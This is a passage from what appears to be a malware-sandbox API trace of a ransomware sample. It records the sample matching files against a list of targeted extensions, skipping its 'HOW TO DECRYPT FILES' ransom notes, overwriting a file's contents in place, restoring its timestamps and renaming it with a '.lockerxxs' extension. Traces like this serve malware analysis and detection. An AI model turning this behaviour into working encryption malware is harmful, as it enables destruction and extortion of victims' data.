5 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.html") returned 0 [0086.785] lstrlenA (lpString="*.html") returned 6 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.htm") returned 0 [0086.785] lstrlenA (lpString="*.htm") returned 5 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.xlsx") returned 0 [0086.785] lstrlenA (lpString="*.xlsx") returned 6 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.xls") returned 0 [0086.785] lstrlenA (lpString="*.xls") returned 5 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.mp4") returned 0 [0086.785] lstrlenA (lpString="*.mp4") returned 5 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.ppt") returned 0 [0086.785] lstrlenA (lpString="*.ppt") returned 5 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.pptx") returned 0 [0086.785] lstrlenA (lpString="*.pptx") returned 6 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.doc") returned 0 [0086.785] lstrlenA (lpString="*.doc") returned 5 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.dot") returned 0 [0086.785] lstrlenA (lpString="*.dot") returned 5 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.docx") returned 0 [0086.785] lstrlenA (lpString="*.docx") returned 6 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.7z") returned 0 [0086.785] lstrlenA (lpString="*.7z") returned 4 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.tar") returned 0 [0086.785] lstrlenA (lpString="*.tar") returned 5 [0086.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.bz2") returned 0 [0086.785] lstrlenA (lpString="*.bz2") returned 5 [0086.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.gz") returned 0 [0086.786] lstrlenA (lpString="*.gz") returned 4 [0086.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.mkv") returned 0 [0086.786] lstrlenA (lpString="*.mkv") returned 5 [0086.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.eml") returned 0 [0086.786] lstrlenA (lpString="*.eml") returned 5 [0086.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.msg") returned 0 [0086.786] lstrlenA (lpString="*.msg") returned 5 [0086.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.edb") returned 0 [0086.786] lstrlenA (lpString="*.edb") returned 5 [0086.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.accdb") returned 0 [0086.786] lstrlenA (lpString="*.accdb") returned 7 [0086.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.odb") returned 0 [0086.786] lstrlenA (lpString="*.odb") returned 5 [0086.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.java") returned 0 [0086.786] lstrlenA (lpString="*.java") returned 6 [0086.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.asm") returned 0 [0086.786] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0086.786] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0086.786] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 0 [0086.787] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0086.787] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 0 [0086.787] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0086.787] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb46b1f00, ftCreationTime.dwHighDateTime=0x1d5e0d6, ftLastAccessTime.dwLowDateTime=0xa03bc620, ftLastAccessTime.dwHighDateTime=0x1d5e6a2, ftLastWriteTime.dwLowDateTime=0xa03bc620, ftLastWriteTime.dwHighDateTime=0x1d5e6a2, nFileSizeHigh=0x0, nFileSizeLow=0x150de, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName="TjC1usx6.wav", cAlternateFileName="")) returned 1 [0086.787] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.787] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TjC1usx6.wav") returned -1 [0086.787] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TjC1usx6.wav") returned -1 [0086.787] lstrcmpiA (lpString1="", lpString2="TjC1usx6.wav") returned -1 [0086.787] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*.*") returned="*.*" [0086.787] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.787] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.787] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.787] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.787] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="TjC1usx6.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav" [0086.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav", pszSpec="*.ems") returned 0 [0086.787] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav" [0086.787] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav" [0086.787] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav." [0086.787] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav.lockerxxs" [0086.788] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tjc1usx6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.788] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x150de [0086.788] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb46b1f00, dwHighDateTime=0x1d5e0d6), lpLastAccessTime=0x407536*(dwLowDateTime=0xa03bc620, dwHighDateTime=0x1d5e6a2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa03bc620, dwHighDateTime=0x1d5e6a2)) returned 1 [0086.788] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.788] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x150b8, lpOverlapped=0x0) returned 1 [0086.790] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav") returned="TjC1usx6.wav" [0086.791] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.791] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x150b8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x150b8, lpOverlapped=0x0) returned 1 [0086.792] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.792] CloseHandle (hObject=0x90) returned 1 [0086.792] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tjc1usx6.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tjc1usx6.wav.lockerxxs")) returned 1 [0086.793] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5a3de20, ftCreationTime.dwHighDateTime=0x1d5d82c, ftLastAccessTime.dwLowDateTime=0x98254c60, ftLastAccessTime.dwHighDateTime=0x1d5e07e, ftLastWriteTime.dwLowDateTime=0x98254c60, ftLastWriteTime.dwHighDateTime=0x1d5e07e, nFileSizeHigh=0x0, nFileSizeLow=0x1b79, dwReserved0=0xdc0001dd, dwReserved1=0x4e00c4, cFileName="uBSqEy.wav", cAlternateFileName="")) returned 1 [0086.793] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.793] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="uBSqEy.wav") returned -1 [0086.793] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="uBSqEy.wav") returned -1 [0086.793] lstrcmpiA (lpString1="", lpString2="uBSqEy.wav") returned -1 [0086.793] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TjC1usx6.wav") returned="TjC1usx6.wav" [0086.793] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.793] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.794] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.794] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.794] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="uBSqEy.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav" [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.ems") returned 0 [0086.794] lstrlenA (lpString="*.ems") returned 5 [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.db") returned 0 [0086.794] lstrlenA (lpString="*.db") returned 4 [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.dbf") returned 0 [0086.794] lstrlenA (lpString="*.dbf") returned 5 [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.myox") returned 0 [0086.794] lstrlenA (lpString="*.myox") returned 6 [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.myo") returned 0 [0086.794] lstrlenA (lpString="*.myo") returned 5 [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.qbw") returned 0 [0086.794] lstrlenA (lpString="*.qbw") returned 5 [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.qbb") returned 0 [0086.794] lstrlenA (lpString="*.qbb") returned 5 [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.qbm") returned 0 [0086.794] lstrlenA (lpString="*.qbm") returned 5 [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.qbo") returned 0 [0086.794] lstrlenA (lpString="*.qbo") returned 5 [0086.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.qbx") returned 0 [0086.794] lstrlenA (lpString="*.qbx") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.qba") returned 0 [0086.795] lstrlenA (lpString="*.qba") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.qby") returned 0 [0086.795] lstrlenA (lpString="*.qby") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.qbj") returned 0 [0086.795] lstrlenA (lpString="*.qbj") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.ofx") returned 0 [0086.795] lstrlenA (lpString="*.ofx") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.qif") returned 0 [0086.795] lstrlenA (lpString="*.qif") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.mye") returned 0 [0086.795] lstrlenA (lpString="*.mye") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.mbox") returned 0 [0086.795] lstrlenA (lpString="*.mbox") returned 6 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.eml") returned 0 [0086.795] lstrlenA (lpString="*.eml") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.pst") returned 0 [0086.795] lstrlenA (lpString="*.pst") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.ost") returned 0 [0086.795] lstrlenA (lpString="*.ost") returned 5 [0086.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.idx") returned 0 [0086.796] lstrlenA (lpString="*.idx") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.dbx") returned 0 [0086.796] lstrlenA (lpString="*.dbx") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.sql") returned 0 [0086.796] lstrlenA (lpString="*.sql") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.mdb") returned 0 [0086.796] lstrlenA (lpString="*.mdb") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.fdb") returned 0 [0086.796] lstrlenA (lpString="*.fdb") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.wab") returned 0 [0086.796] lstrlenA (lpString="*.wab") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.dat") returned 0 [0086.796] lstrlenA (lpString="*.dat") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.txt") returned 0 [0086.796] lstrlenA (lpString="*.txt") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.jpeg") returned 0 [0086.796] lstrlenA (lpString="*.jpeg") returned 6 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.jpg") returned 0 [0086.796] lstrlenA (lpString="*.jpg") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.png") returned 0 [0086.796] lstrlenA (lpString="*.png") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.php") returned 0 [0086.796] lstrlenA (lpString="*.php") returned 5 [0086.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.cs") returned 0 [0086.797] lstrlenA (lpString="*.cs") returned 4 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.cpp") returned 0 [0086.797] lstrlenA (lpString="*.cpp") returned 5 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.rar") returned 0 [0086.797] lstrlenA (lpString="*.rar") returned 5 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.zip") returned 0 [0086.797] lstrlenA (lpString="*.zip") returned 5 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.html") returned 0 [0086.797] lstrlenA (lpString="*.html") returned 6 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.htm") returned 0 [0086.797] lstrlenA (lpString="*.htm") returned 5 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.xlsx") returned 0 [0086.797] lstrlenA (lpString="*.xlsx") returned 6 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.xls") returned 0 [0086.797] lstrlenA (lpString="*.xls") returned 5 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.mp4") returned 0 [0086.797] lstrlenA (lpString="*.mp4") returned 5 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.ppt") returned 0 [0086.797] lstrlenA (lpString="*.ppt") returned 5 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.pptx") returned 0 [0086.797] lstrlenA (lpString="*.pptx") returned 6 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.doc") returned 0 [0086.797] lstrlenA (lpString="*.doc") returned 5 [0086.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.dot") returned 0 [0086.797] lstrlenA (lpString="*.dot") returned 5 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.docx") returned 0 [0086.798] 